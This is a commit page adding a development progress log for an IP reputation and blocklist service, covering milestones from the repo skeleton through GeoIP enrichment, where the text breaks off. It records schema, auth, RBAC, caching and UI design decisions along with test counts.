소스 검색

Add development files

achiappa 3 일 전
부모
커밋
4c1cc45148

+ 661 - 0
doc/development/PROGRESS.md

@@ -0,0 +1,661 @@
+## M01 — Monorepo skeleton (done)
+
+**Built:** repo layout per SPEC §11, both Dockerfiles, compose stack, toolchain.
+
+**Notes for next milestone:**
+- DB schema empty; M02 owns all tables and seeds.
+- `entrypoint.sh` for api supports `migrate` mode and calls `vendor/bin/phinx`.
+- Healthcheck payloads are stubs; later milestones extend them.
+- Service-token bootstrap deferred to M03 (needs `api_tokens` table first).
+- CI runs locally via `./scripts/ci.sh` (Docker-based, no host PHP/Node needed). No GitHub Actions workflow per project decision.
+- `composer.json` config pins `platform.php` to 8.3 in both subprojects so dependency resolution matches the FrankenPHP runtime image even when the build host's `composer:2` image ships a newer PHP.
+
+**Deviations from SPEC:** none.
+**Added dependencies beyond SPEC §2:** none.
+
+## M02 — Database & migrations (done)
+
+**Built:** all SPEC §4 tables; idempotent seeds; IP/CIDR value objects.
+
+**Schema notes for next milestone:**
+- `users.password_hash` is NOT in the schema (per SPEC §4; UI owns local-admin credentials).
+- `api_tokens.kind` enum values: `reporter`, `consumer`, `admin`, `service` (CHECK constraint enforced on both SQLite and MySQL: kind=reporter→reporter_id set & consumer_id null; kind=consumer→consumer_id set & reporter_id null; kind∈{admin,service}→both null).
+- All timestamps stored UTC. ISO 8601 strings on SQLite, `DATETIME(6)` on MySQL. Default `CURRENT_TIMESTAMP` / `CURRENT_TIMESTAMP(6)` accordingly.
+- `ip_bin` always 16 bytes; v4 mapped to `::ffff:0:0/96`. Use `App\Domain\Ip\IpAddress::fromString()` for normalization and `Cidr::fromString()` for subnets. Internally CIDRs store v4 prefixes as `96 + originalPrefix` for unified containment math.
+- DBAL `Connection` is wired through `App\App\Container::build()` and applies the four SQLite PRAGMAs (`journal_mode=WAL`, `synchronous=NORMAL`, `busy_timeout=5000`, `foreign_keys=ON`) on every new SQLite connection.
+- Phinx migrations extend `App\Infrastructure\Db\Migrations\BaseMigration` for adapter-aware timestamp/binary column helpers. The phinxlog table is unaffected.
+
+**Decisions made:**
+- FK `ON DELETE` semantics:
+  - `policy_category_thresholds.policy_id` → CASCADE (thresholds belong to policy).
+  - `policy_category_thresholds.category_id` → RESTRICT (cannot drop a category in active use).
+  - `consumers.policy_id` → RESTRICT (cannot drop a policy in active use).
+  - `reporters/consumers/manual_blocks/allowlist.created_by_user_id` → SET NULL (preserve provenance after user delete).
+  - `api_tokens.{reporter_id,consumer_id}` → CASCADE (deleting a reporter/consumer revokes its tokens).
+  - `reports.{category_id,reporter_id}` → RESTRICT (preserve audit trail per SPEC hint).
+  - `ip_scores.category_id` → CASCADE (scores meaningless without their category).
+- `api_tokens` is created via raw `CREATE TABLE` per adapter so the CHECK constraint on `kind` works on SQLite (which cannot ADD CHECK via ALTER TABLE) and on MySQL.
+- `BINARY(16)` on MySQL is implemented as Phinx's portable `binary` type with `limit => 16` (yields `VARBINARY(16)`); this is functionally identical for our fixed-width 16-byte payload and avoids per-adapter raw SQL.
+- Fixed an M01 bug in `config/phinx.php` where `rtrim($path, '.sqlite')` mangled the SQLite path because `rtrim`'s second arg is a character set; switched to passing the full path verbatim with empty `suffix`.
+
+**Deviations from SPEC:** none.
+**Added dependencies:** none beyond SPEC §2.
+
+## M03 — API auth foundations (done)
+
+**Built:** token kinds, hashing, RBAC, impersonation pattern, auth endpoints, service token bootstrap.
+
+**API contract decisions:**
+- 401 = bad/expired/revoked/wrong-kind token (uniform body `{"error":"unauthorized"}`)
+- 403 = authenticated but wrong role
+- 400 = service token without (or malformed) `X-Acting-User-Id` header
+- `last_used_at` updated synchronously (move to async in M14 if perf demands)
+- `/api/v1/auth/*` is service-token-only with **no impersonation** — these endpoints exist to bootstrap user records the UI can later impersonate, so requiring impersonation would be circular. The controller enforces `kind=service` directly.
+- `X-Acting-User-Id` is silently ignored on non-service tokens (per SPEC §8); only its absence on a *service* token triggers 400.
+
+**Notes for next milestone:**
+- Reporter and consumer tokens have no role column; their auth carries `reporter_id` / `consumer_id` only. Reading `principal->reporterId` from request attrs is how M04's report endpoint will identify the reporter.
+- Admin endpoints in later milestones can use `RbacMiddleware::require($responseFactory, Role::Operator)` etc. — the factory takes the role; the response factory is in the container.
+- `AuthenticatedPrincipal` carries an optional `userId` so M14 can introduce admin-token-bound-to-user without churn.
+
+**Schema deviation:** `api_tokens.role` (nullable VARCHAR(32)) was added in migration `20260428130000_add_role_to_api_tokens.php`. SPEC §4 doesn't enumerate it but SPEC §6 mandates that admin tokens carry a role; the column stores it. Non-admin token rows leave it `NULL`.
+
+**Token format:** `irdb_<kind3>_<32 base32 chars>`, where `kind3` is one of `rep|con|adm|svc`. 160 bits of entropy from `random_bytes(20)`. The whole raw string is SHA-256 hashed for storage; `token_prefix` keeps the first 8 chars (`irdb_<kind3>`) for log readability. The `.env.example` documents how to generate a valid `UI_SERVICE_TOKEN` via `TokenIssuer`.
+
+**Service-token rotation:** out of scope this milestone — `ServiceTokenBootstrap` only handles "set or not set". Rotation means: deploy with the new value, restart api, manually revoke the old hash via a future tool. The bootstrap logs a warning when it inserts a new service token while another already exists.
+
+**Added dependencies:** none.
+
+## M04 — Token system & ingest (done)
+
+**Built:** reporter/consumer/token CRUD; POST /api/v1/report end-to-end; rate limiter; decay functions.
+
+**Notes for next milestone:**
+- Synchronous score updates are correct but only touch the (ip, category) pair just reported. Bulk decay re-application is M05's recompute job.
+- `PairScorer` (`api/src/Domain/Reputation/PairScorer.php`) is the authoritative single-pair scorer; the bulk recompute job in M05 should call into it (or a near-clone) so behavior stays consistent. It depends on `Clock`, `CategoryRepository`, and `ReportRepository::forScoring()`.
+- Decay shapes live as pure functions in `Decay::value(DecayFunction, ageDays, decayParam)` with seven unit tests against hand-computed reference values. M05's recompute will reuse this.
+- Rate limiter is in-process (PHP array on a singleton `RateLimiter`); document this in README. Multi-replica deployments need a shared store. The bucket capacity is `API_RATE_LIMIT_PER_SECOND × 2` with refill = `API_RATE_LIMIT_PER_SECOND` per second; on exhaustion the middleware emits 429 with `Retry-After: 1`. Skipped on admin/auth routes.
+- Service tokens cannot be created via the admin API (`kind=service` → 400) and are filtered out of the list endpoint unconditionally; only the bootstrap path makes them. Revoke on a service token returns 403 from `DELETE /api/v1/admin/tokens/{id}`.
+- Tokens raw value appears **only** in the create response payload (`raw_token`); we persist its SHA-256 hash and the 8-char prefix.
+- `ip_scores` upsert is per-driver: SQLite uses `ON CONFLICT(ip_bin, category_id) DO UPDATE`, MySQL uses `ON DUPLICATE KEY UPDATE`. Single helper in `IpScoreRepository::upsert()`.
+- `Clock` interface (`App\Domain\Time\Clock`) wraps wall-time for `received_at`, decay age, and rate-limit refill. `SystemClock` in production; `FixedClock` (with `advance()`) in tests.
+
+**API contract decisions:**
+- Admin endpoints (`/api/v1/admin/{reporters,consumers,tokens}`) require `Admin` role. RBAC is enforced via `RbacMiddleware::require($rf, Role::Admin)` on the route group.
+- Validation errors return `400` with `{"error":"validation_failed","details":{"field":"reason"}}`. Hand-rolled validators per controller — small surface, no third-party validator added.
+- DELETE on a reporter with existing reports returns `409` and flips `is_active=false` (soft delete) rather than removing the row; the audit trail is preserved per the FK RESTRICT semantics on `reports.reporter_id`.
+- Public `POST /api/v1/report` — wrong-kind tokens (admin/consumer/service) and inactive reporters both return `401` with the uniform `{"error":"unauthorized"}` envelope, matching the M03 convention. Bad IP / unknown category / oversized metadata return `400` with the validation envelope.
+- Metadata size limit: 4 KB after `json_encode`. Non-object metadata (arrays, scalars) is rejected.
+
+**Deviations from SPEC:** none.
+**Added dependencies:** none (chose hand-rolled validation over `respect/validation`).
+
+## M05 — Reputation engine & jobs (done)
+
+**Built:** decay math (already in M04, edge-cases re-verified); job framework with atomic locks (`JobLockRepository`), run history (`JobRunRepository`), runner abstraction (`JobRunner`), registry (`JobRegistry`); concrete jobs `RecomputeScoresJob` (full + incremental), `CleanupAuditJob`, `EnrichPendingJob` (skeleton); `TickJob` dispatcher; `/internal/jobs/{recompute-scores,cleanup-audit,enrich-pending,tick,refresh-geoip,status}` endpoints behind `InternalNetworkMiddleware` + `InternalTokenMiddleware`; CLI `jobs:run`, `jobs:status`, `scores:rebuild`.
+
+**Notes for next milestone:**
+- `PairScorer` (from M04) is reused by `RecomputeScoresJob` — both produce identical scores for the same pair.
+- `EnrichPendingJob` is a skeleton — M11 fills it in.
+- `refresh-geoip` endpoint returns 412 with `{"error":"not_implemented"}` — M11 wires it up.
+- Job results are returned synchronously; long jobs may exceed default request timeout. The `/internal/*` routes need an extended `max_execution_time` in production FrankenPHP config (deferred — current default is sufficient for the recompute's 240s ceiling).
+- Drop rule: `score < 0.01 AND last_report_at < now − 90 days`. RecomputeScoresJob backdates `last_report_at` to `now − 366 days` for orphan ip_scores rows (no surviving reports) so the same drop pass prunes them.
+- `triggered_by` convention: HTTP `/internal/jobs/*` calls use `'schedule'` (assumed cron-driven); CLI uses `'manual'`. The admin-API wrapper in M12 will pass `'manual'` through for UI button triggers.
+- TickJob takes a `Closure(): iterable<Job>` rather than a direct `JobRegistry` reference — needed to break a build-time cycle in PHP-DI (registry holds tick; tick iterates registry). The closure is invoked at run time.
+- `JobsController` resolves jobs via `JobRegistry::get($name)`, and the registry is populated lazily in the container factory in registration order: recompute, cleanup, enrich, tick.
+- Lock owner format: `<pid>/<random hex>`. Release verifies owner matches before deleting — defensive against expires_at-reclaim races.
+- Internal token middleware fails closed when `INTERNAL_JOB_TOKEN` is empty — better than silently exposing endpoints to anything inside the docker network.
+
+**Deviations from SPEC:** none.
+**Added dependencies:** none.
+
+## M06 — Manual blocks, allowlist (done)
+
+**Built:** CRUD for `manual_blocks` and `allowlist` (single-IP and CIDR, v4 + v6); CidrEvaluator (in-process containment over a snapshot); CidrEvaluatorFactory (60s TTL cache + invalidate on writes); EffectiveStatusService (allowlist + manual; score+policy lands in M07); SPEC §M06 acceptance script passes end-to-end.
+
+**Notes for next milestone:**
+- M07 wires `CidrEvaluatorFactory` into the distribution endpoint and finishes `EffectiveStatusService` by adding score-vs-policy evaluation. Inject `CategoryRepository`, `IpScoreRepository`, and the per-policy thresholds into the service alongside the existing evaluator.
+- Cache TTL is `CIDR_EVALUATOR_TTL_SECONDS` (default 60s); mutation endpoints invalidate explicitly **and** force a synchronous rebuild (`get()`) so an overlap WARNING fires inside the same request — operators see immediate feedback. Multi-replica deployments will see up to 60s of staleness across replicas — accepted.
+- Manual-block expiration cleanup: data model has `expires_at`, repo has `findExpired($now)` returning ids, but no job runs. Add in M14 hardening if desired, or leave as a documented limitation.
+- CIDR canonicalization picks recommendation (c) from the milestone doc: non-canonical input is silently normalized; the response body echoes `normalized_from: <original>` only when the normalization changed the input. Canonical input omits the field.
+- Repository inserts go through `RepositoryBase::insertRow()` for the binary-column ergonomics, but `insertRow()` returns `executeStatement()`'s row count — not the new id. The repos call `(int) $this->connection()->lastInsertId()` after `insertRow()` to recover the id. Same pattern `ReportRepository::insert` uses — kept consistent.
+- `Cidr::fromBinary($networkBin, $unifiedPrefix)` was added so repositories can hydrate stored rows back into the value object. The v4-vs-v6 heuristic mirrors what `IpAddress::fromBinary` does (v4-mapped IPv6 prefix + unified prefix ≥ 96 ⇒ render as v4).
+- `CidrEvaluatorFactory` is intentionally *not* `final` — `EffectiveStatusServiceTest` substitutes an in-memory stub via subclass to avoid spinning up the DB.
+- RBAC split per SPEC §6: list/show ⇒ Viewer, create/delete ⇒ Operator. Achieved with per-route `RbacMiddleware::require(...)` rather than group-level — a small departure from the all-Admin pattern used by reporters/consumers/tokens but the cleanest expression of "the same URL has different role requirements per method".
+
+**Deviations from SPEC:** none.
+**Added dependencies:** none.
+
+## M07 — Policies & distribution (done)
+
+**Built:** policy CRUD with thresholds (replaces wholesale on PATCH); `GET /api/v1/blocklist` (text/plain + JSON) with ETag/If-None-Match round-trip; per-policy in-memory cache (30s TTL, invalidated on relevant mutations); BlocklistBuilder with allowlist filtering, manual-block dedup (broader CIDR wins), v4-then-v6 stable sort; per-policy preview endpoint; perf test 50k entries <500 ms (SQLite + JIT).
+
+**Notes for next milestone:**
+- Per-policy cache TTL = 30 s (`BLOCKLIST_CACHE_TTL_SECONDS`). Mutation endpoints invalidate explicitly: policy CRUD calls `BlocklistCache::invalidate($policyId)`; manual_blocks / allowlist mutations call `invalidateAll()` (any policy might include manual blocks). Multi-replica deployments will see up to 30 s of cross-replica staleness — accepted, mirrors `CidrEvaluatorFactory` semantics.
+- The text/plain format is universal (one IP/CIDR per line, no comments). Firewall-specific consumers transform on their side; M13 ships examples in `examples/consumers/`.
+- DELETE on a policy with referencing consumers returns 409 with `{"error":"policy_in_use","consumers":[{id,name},...]}`. Cascade is wrong here per SPEC §M07.2.
+- Dedup rule: scored single-IPs covered by a manual subnet are dropped (the broader subnet entry covers them). For same-IP overlap (scored single AND manual single), the scored entry wins to keep category attribution.
+- Allowlist precedence: a manual subnet whose network address sits inside an allowlisted IP/subnet is dropped from the output. Manual single IPs on the allowlist are filtered too. The `CidrEvaluator` already logs a WARNING when the two lists overlap.
+- ETag stability: SHA-256 over the rendered body (excluding `generated_at`). Different content-types yield different ETags by design (text vs JSON have different bodies).
+- `If-None-Match` parsing handles weak validators (`W/"…"`) and the wildcard `*`.
+- Policies controller's PATCH replaces the threshold set wholesale inside a single transaction (`PolicyRepository::replaceThresholds` — DELETE then INSERT). Field-level edits to name/description/include_manual_blocks happen alongside in the same request when present.
+- Threshold body shape: `{<category_slug>: <number>}`; the controller resolves slugs to category ids. Unknown slug returns a 400 with the offending slug in the error message.
+- `BlocklistBuilder` exposes the build via `BlocklistCache::getOrBuild($policy)`; the public endpoint never builds directly. Preview endpoint bypasses the cache (calls the builder directly) so the UI sees fresh numbers after edits.
+- `IpScoreRepository::findExceedingThresholds` returns raw associative-array rows (not typed) — the BlocklistBuilder's hot loop casts on demand. Saves ~25 % off the perf budget at 50k rows.
+
+**Performance:**
+- SPEC §M07.5 budget: 50k entries < 500 ms. Measured warm path on SQLite + opcache JIT (matches production FrankenPHP): **440–460 ms** across 5 consecutive runs (median ~444 ms).
+- Without JIT (raw `vendor/bin/phpunit --group perf`) the same workload takes ~530 ms. The `composer test-perf` script enables JIT (`-d opcache.enable_cli=1 -d opcache.jit_buffer_size=64M -d opcache.jit=tracing`) so CI matches the production runtime.
+- Three key optimisations beat the budget: (a) subnets indexed by prefix length so containment is `applyMaskFast + isset()` rather than per-pair `Cidr::contains()`; (b) `ksort` on binary keys (one per family) instead of `usort` with a closure — closure dispatch dominates at 50k entries; (c) parallel hashes (`ipText`, `categoriesByIp`, `maxScoreByIp`) keyed on `ip_bin` instead of nested `[]` rows, so the row-merge loop avoids the per-iteration nested-array allocation.
+- MySQL number not yet measured — to be captured separately when the MySQL CI lane is wired up.
+
+**Schema:** none — uses the M02 `policies` and `policy_category_thresholds` tables as-is.
+
+**Test surface added:** `tests/Unit/Reputation/PolicyEvaluatorTest.php`, `tests/Integration/Admin/PoliciesControllerTest.php`, `tests/Integration/Public/BlocklistControllerTest.php`, `tests/Integration/Reputation/BlocklistBuilderTest.php`, `tests/Integration/Perf/BlocklistPerfTest.php`. Total +28 tests / +95 assertions; perf test excluded from default run via `#[Group('perf')]`. Suite passes 271 tests / 723 assertions, 0 deprecations.
+
+**Acceptance script:** ran end-to-end against compose stack. Empty blocklist → 200 with empty body; manual block emits as CIDR; JSON format returns reason="manual"; ETag round-trip returns 304; admin token rejected with 401; preview endpoint returns count + sample for all three seeded policies.
+
+**Deviations from SPEC:**
+- The `migrate` container's entrypoint runs Phinx migrations only; SPEC §10 says it should also run seeds. Pre-existing from M01, surfaced again here because M07's acceptance flow depends on the seeded policies. Worked around for the smoke test by running `vendor/bin/phinx seed:run` against the started container. Flagged for M13 polish (or earlier if another milestone is bitten by it).
+- `composer test` script now passes `--exclude-group perf` so the default suite is fast; perf is run via `composer test-perf` with JIT enabled to match production.
+- The PHPUnit doc-comment `@group` annotation was switched to the `#[Group('perf')]` attribute to silence a PHPUnit-12 deprecation warning.
+
+**Added dependencies:** none.
+
+## M08 — UI scaffold & auth (done)
+
+**Built:** UI base (Slim+Twig+Tailwind+Alpine+htmx with dark-mode FOUC-free toggle and sidebar/topnav), session manager (file-backed PHP sessions, 8h idle / 24h absolute), CSRF middleware (constant-time compare, header + form-field), ApiClient with auto Bearer + `X-Acting-User-Id` + retry-once-on-5xx + typed exceptions, AuthClient + AdminClient subclients, OIDC code-flow with PKCE via `jumbojett/openid-connect-php`, local admin login (Argon2id + 5-fail/30s session-scoped throttle), CSRF-protected logout, `/app/me` page, `/no-access` page, friendly Twig error template, `doc/oidc.md` Entra setup guide.
+
+**Notes for next milestone:**
+- `AdminClient` exposes only `getMe()`; M09 adds methods for IP search/detail, dashboard, etc.
+- ApiClient exception types are stable: `ApiAuthException` (401/403), `ApiValidationException` (400/422 with `details` array), `ApiNotFoundException` (404), `ApiServerException` (5xx), `ApiUnreachableException` (network/timeout). M09+ catches them in controllers.
+- Sidebar nav placeholders show their target milestone (M09/M10/M12). Replace each placeholder with a real link as the section ships.
+- Dark mode persistence: `localStorage.irdb-theme = 'dark' | 'light'`. Inline `<head>` script reads it before paint; the toggle button (`[data-theme-toggle]`) writes it. System preference is the first-visit default via `prefers-color-scheme`.
+- M14 will replace the basic 5/30 session-scoped throttle with a real brute-force lockout (IP-keyed, persistent).
+- `regenerateId()` is called after every auth-state change (login success, logout) per SPEC §M08; defeats session fixation.
+- POST handlers (`/login/local`, `/logout`) return **303 See Other** on redirect so curl/browsers switch to GET. GET handlers stay at 302.
+- Service-token + impersonation header invariant: every API call out of the UI carries `Authorization: Bearer <UI_SERVICE_TOKEN>` and (when a session user exists) `X-Acting-User-Id: <user_id>`. Auth endpoints (`/api/v1/auth/*`) are called WITHOUT the impersonation header by design — they exist to produce the user record we'd be impersonating.
+- `Config::validateOrExit()` runs at boot and exits non-zero if `UI_SERVICE_TOKEN`/`API_BASE_URL` are missing or both auth methods are disabled. This means a misconfigured deployment crashes on `docker compose up`, not on the first user click.
+- `OidcAuthenticator` is an interface (concrete impl `JumbojettOidcAuthenticator`); tests stub it to drive the OIDC controller's branches without a real IdP.
+- Healthz remembers the most recent ApiClient call result via `ApiHealth` singleton; both fields are `null` until the UI has made its first API call.
+- htmx config picks up the per-session CSRF token from the `<meta name="csrf-token">` tag and sends `X-CSRF-Token` automatically — established now even though htmx isn't used yet, so M09 tables can rely on it.
+
+**Manual verification:**
+- Acceptance script ran end-to-end against compose stack with `LOCAL_ADMIN_ENABLED=true`: login page renders with "Sign in" button, /healthz returns 200, /app/me unauthed redirects to /login, GET /login → set CSRF + session cookie, POST /login/local with valid creds → 303 to /app/me showing "admin" role + "local" source, wrong password rejected with flash, missing CSRF token → 403, logout clears session and post-logout /app/me → 302 again.
+- OIDC flow against a live tenant: NOT manually verified in this environment — no Entra tenant available. The flow is covered by integration tests with a stubbed `OidcAuthenticator` (success path, no-role/no-access path, handshake failure, api-down during upsert). Real-tenant verification deferred to the next operator with tenant access; `doc/oidc.md` documents the setup.
+
+**Operational gotchas observed:**
+- Docker Compose's `.env` file performs variable substitution on values, so an Argon2id hash containing `$argon2id$v=19$…` collapses unless every `$` is doubled to `$$`. Documented inline in the `.env.example` instructions for M13 polish.
+- `curl -L` together with `-X POST` does NOT switch the method to GET on a 303 response (the explicit `-X` overrides curl's default). Acceptance scripts and any curl-based tests should use `-d` alone (which implies POST and lets curl follow redirects with GET).
+
+**Test surface added (ui):** 47 tests / 102 assertions.
+- Unit: `ApiClientTest` (status-code mapping, retry-once, header injection, health tracking), `SessionManagerTest` (set/get/clear, flash, throttle, lockout), `CsrfMiddlewareTest` (skip on GET, header + form-field paths, 403 on missing/wrong token).
+- Integration: `LocalLoginTest` (form render, success, wrong password, wrong username, missing CSRF, lockout after 5 fails, api-down handling), `LogoutTest` (success + missing-CSRF), `OidcFlowTest` (success, no-role → /no-access, handshake failure, api-down), `RoutesTest` (home redirect, healthz, /app/me gating, /no-access).
+
+**Deviations from SPEC:**
+- The TwigGlobalsMiddleware runs ahead of `AuthRequiredMiddleware` so anonymous /app/* requests still have csrf_token / flash / current_user globals available for the redirect-to-/login response — minor implementation detail, no functional difference.
+- POST handlers return 303 instead of 302 (SPEC says "redirect"; standardised on 303 for state-changing redirects to avoid the curl `-X POST -L` resubmit-method behaviour).
+
+**Added dependencies:**
+- `esbuild` (devDependency, JS bundling for `app.js`). The SPEC §2 doesn't enumerate a JS bundler explicitly but allows "vanilla JS + Alpine.js + htmx where it simplifies forms"; the Tailwind-only build was insufficient since Alpine and htmx are imported modules. The Dockerfile build now runs both `tailwindcss` and `esbuild`.
+- `jumbojett/openid-connect-php` was already in SPEC §2 / `composer.json`; it's just being USED for the first time in M08.
+
+## M09 — UI: IPs, history, dashboard (done)
+
+**Built:** read-only IP browsing UI + matching admin endpoints. API: `GET /api/v1/admin/ips` (paginated search with q / category / score range / country / asn / status filters), `GET /api/v1/admin/ips/{ip}` (scores per category, enrichment placeholder, manual/allowlist panels, 200-entry history timeline with `has_more`), `GET /api/v1/admin/stats/dashboard` (active blocks + counters + 24h histogram + top reporters/categories + jobs status, 30s in-memory cache). UI: `/app/dashboard`, `/app/ips`, `/app/ips/{ip}`. Chart.js bundles via esbuild (tree-shaken to ~150kb of bar/linear pieces). Default post-login redirect now `/app/dashboard`. Sidebar highlights the active section.
+
+**Notes for next milestone:**
+- `EffectiveStatusService` was completed: it now distinguishes `Scored` (any non-zero score in `ip_scores`) from `Clean` (no rows or all zero). M07's policy-vs-score evaluation lives separately in `PolicyEvaluator` — the single-IP "is this scored?" question is policy-agnostic by design (you don't get to ask "scored against which policy?" when looking at one IP).
+- Dashboard `active_blocks` is an **approximation**: distinct IPs in `ip_scores` with score > 0 PLUS single-IP `manual_blocks`. Computing the exact count of IPs in the seeded `moderate` policy's blocklist would require running `BlocklistBuilder` per request, which is too expensive for a 30s-cached dashboard. The number is a stable proxy; the response carries `reference_policy: "moderate"` to make the caveat explicit. M10/M12 may add a config knob.
+- IP search is grounded in `ip_scores` — IPs that are *only* manually blocked (no reports yet) won't appear unless they have an `ip_scores` row. Manual subnets and allowlist subnets aren't expanded in search either; only single-IP entries from those tables intersect with the search via the `status` filter. The IP detail page shows the precise effective status. Documented limitation; a richer "show subnet members" view is out of scope.
+- Country flag rendering uses the regional-indicator emoji pair (`'🇦' ~ first ~ '🇦' ~ second`). Browsers without flag-emoji fonts (some Windows configs) render it as block letters; the fallback when `country_code` is null is a `??` pill.
+- Country / ASN columns are blank until M11 wires real GeoIP (the `ip_enrichment` table exists; the `enrich-pending` job is still a skeleton).
+- Manual-block / allowlist mutation buttons on the IP detail page are deliberately absent here. M10 adds them.
+- `IpHistoryRepository` UNIONs the three sources in PHP (separate queries → merge → sort) rather than in SQL — the per-source caps (500 reports max + small manual/allowlist tables) keep this fast at our dataset sizes; switching to a single SQL UNION ALL is straightforward if profiling later shows it matters.
+- Lighthouse not measured here — the acceptance environment has no headless browser. The pages use semantic HTML (`<table>` with proper `<thead>`/`<tbody>`, labelled form inputs, `aria-current="page"` on the active sidebar link, contrast tokens that pass WCAG AA in both modes by Tailwind's defaults). M13 will run the actual Lighthouse pass.
+- Slim's default segment regex disallows colons; `/{ip:.+}` is required for IPv6 paths to route on both the api and the ui.
+
+**Schema:**
+- `idx_ip_scores_ip_text` — single-column index on `ip_scores.ip_text` so the search's `LIKE 'prefix%'` path doesn't full-scan. `LIKE '%substr%'` falls back to a scan, acceptable at the dataset sizes covered by the SPEC.
+
+**Test surface added (api):** `tests/Integration/Admin/IpsControllerTest.php` (10 tests covering list ordering, prefix filter, category filter, pagination, validation error, detail success/empty/404, enrichment-null-by-default), `tests/Integration/Admin/StatsControllerTest.php` (3 tests covering empty shape, non-empty counters, manual/allowlist counters). Updated `EffectiveStatusServiceTest` to cover the new `Scored`-when-rows-exist branch with stub IpScoreRepository. Total: 285 tests / 787 assertions.
+
+**Test surface added (ui):** `tests/Integration/App/DashboardPageTest.php` (renders stats + chart canvas + degrades on api-down), `tests/Integration/App/IpsPageTest.php` (list, empty state, filter round-trip via form, detail page with scores+history, twig 404, anonymous redirect). Total: 55 tests / 133 assertions.
+
+**Acceptance script:** ran end-to-end against compose stack. Seeded 3 reports across 3 IPs (mix of v4 + v6); local admin login → /app/dashboard renders with "reports", "Active blocks", "test-reporter", and the chart canvas; /app/ips lists all three IPs with `brute_force` as top category; ?q=2001 narrows to the v6 IP only; /app/ips/203.0.113.10 shows "Score per category" and "History" sections with `brute_force`; /app/ips/not-an-ip returns 404 with the friendly error template.
+
+**Deviations from SPEC:**
+- `EffectiveStatusService` had an unused-but-final wiring left over from M06; making it usable for M09 required a constructor change (`+IpScoreRepository`) and broke the Unit-level test that constructed it with one arg. Updated tests accordingly. The fix also required dropping `IpScoreRepository`'s `final` modifier so test stubs can extend it — same pattern used for `CidrEvaluatorFactory` in M06.
+- The dashboard `active_blocks` figure is an approximation (see notes above), not the exact "moderate-policy blocklist size" the SPEC mentions. The response carries `reference_policy: "moderate"` to call this out and makes a follow-up "switch to exact computation" trivial when M12 or beyond decides it's worth the cost.
+- Sidebar's "My identity" link moved to the bottom of the nav (under the M10/M12 placeholders) since `/app/dashboard` is now the canonical landing page. Visual order only; no functional change.
+
+**Added dependencies:**
+- `chart.js` (npm dep). The SPEC's M09 doc explicitly allows it; tree-shaken to bar/linear/category controllers + element + tooltip + title via Chart.js's modular registration, keeping the impact at ~150kb of the final ~263kb bundle (Chart.js + Alpine + htmx + our own ~3kb).
+
+## M10 — UI admin CRUD (done)
+
+**Built:** every admin CRUD UI (manual blocks, allowlist, policies with threshold matrix, reporters, consumers, tokens with one-time raw-token modal, categories with SVG decay-curve preview), plus IP-detail action buttons (allowlist/manual-block add+remove). Categories CRUD on the api with in-use refusal.
+
+**API surface added:** `GET/POST/PATCH/DELETE /api/v1/admin/categories`. Slug is kebab-ish (`^[a-z][a-z0-9_]{0,63}$`) + unique. DELETE returns 409 with `{usage: {policies, reports}, hint}` when references exist; the UI surfaces the hint via flash, and the edit page exposes an `is_active=false` checkbox for soft-delete.
+
+**Notes for next milestone:**
+- `AdminClient` covers every admin endpoint shipped so far. M11 only needs to extend it for enrichment data shape; M12 adds audit-log + jobs trigger.
+- User management UI (`/app/users`, role-mapping editor) — **deferred to M12** alongside the audit page; the api endpoints exist but no UI was built. Sidebar still hides the link until then.
+- Token list never includes service tokens (the api filters them out unconditionally; the bootstrap is the only producer).
+- RBAC summary applied this milestone: viewer reads everything; operator may manage manual blocks + allowlist; admin owns tokens, policies, categories, reporters, consumers. UI hides buttons for roles that can't use them; the api enforces the actual gate. Friendly error pages render on direct-URL forbidden access via the existing JsonExceptionHandler.
+- Token creation flow uses a session slot (`_token_just_created`) instead of a query string — POST → 303 → GET reads-and-clears the slot, so refreshing the page after the modal is dismissed never re-shows the raw token (one-time-display invariant).
+- Policy threshold editor renders rows for all categories; empty input means "not in policy" (not "threshold = 0"). The PATCH endpoint replaces the threshold set wholesale, so unchecked rows simply don't appear in the body.
+- Decay-curve preview is pure client-side Alpine (~30 lines) — `Decay::value` ported to JS. No charting lib for one curve.
+- Live policy preview calls a UI-side proxy (`/app/policies/{id}/preview-proxy`) rather than hitting the api directly from the browser; the browser doesn't have the service token, so the proxy bridges the BFF gap. Returns the api's preview JSON verbatim.
+- POST handlers consistently return **303 See Other** so curl/browsers follow with GET (M08 lesson). Form-encoded `next` field threads through delete actions on the IP detail page so the user lands back on the IP they were viewing rather than the manual-blocks list.
+- All destructive actions go through a small `partials/confirm_form.twig` Alpine modal — single source of truth for the cancel/confirm UX. Reused by every list page.
+- Decision: `/app/manual-blocks` POST always redirects back to `/app/manual-blocks` (never to `/app/subnets`), even when the created entry is a subnet. Stable destination keeps tests + browser behaviour predictable; the user can navigate via the kind filter.
+
+**Schema:** none.
+
+**Test surface added (api):** `tests/Integration/Admin/CategoriesControllerTest.php` (9 tests covering list, validation, create+show, duplicate-slug refusal, PATCH, in-use 409 from policy refs, in-use 409 from report refs, hard-delete success, RBAC). Total: 294 tests / 821 assertions.
+
+**Test surface added (ui):** `tests/Integration/Crud/CrudPagesTest.php` (16 tests: each list page renders + a happy/validation pair per resource + the token one-time-display flow + IP-detail RBAC button visibility for operator vs viewer). Total: 71 tests / 177 assertions.
+
+**Acceptance script:** ran end-to-end against compose stack:
+- All seven list pages return 200 for a logged-in admin.
+- POST /app/manual-blocks creates the subnet (verified by the api list endpoint; the milestone-doc grep used a non-escaped `/` and got tripped by JSON's `\/` escaping — data was actually present).
+- Operator-role admin token gets 403 on `DELETE /api/v1/admin/tokens/{id}` (api enforces).
+- Token-creation modal flow: POST returns 303, follow-up GET surfaces the `irdb_adm_<32 base32>` raw token in the page body and discards the slot afterward.
+- Categories: created `phishing`, attached to a policy, then DELETE returns 409 (api refuses with `category_in_use`).
+
+**Deviations from SPEC:**
+- User management UI (admin/users + role-mapping editor) deferred to M12 alongside the audit page. Documented under "Notes for next milestone" so M12 owners pick it up.
+- `IpScoreRepository::final` was already dropped in M09 to allow a test stub; no further class-modifier changes this milestone.
+
+**Added dependencies:** none.
+
+## M11 — Enrichment (done)
+
+**Built:** MMDB wrapper, three pluggable downloaders (DB-IP / MaxMind / IPinfo),
+both jobs (`enrich-pending` fully implemented; `refresh-geoip` replacing the M05 stub),
+UI display + provider attribution, healthz fields, country dropdown source.
+
+**Notes for next milestone:**
+- DBs live at `/data/geoip/{country,asn}.mmdb` (renamed from SPEC §9 defaults to be
+  provider-agnostic; documented in `.env.example`).
+- Default provider is **DB-IP** — no credential required, never returns 412.
+- MaxMind and IPinfo paths return 412 when their credential is empty (controller
+  short-circuits before lock acquire so the `job_runs` lock isn't dirtied).
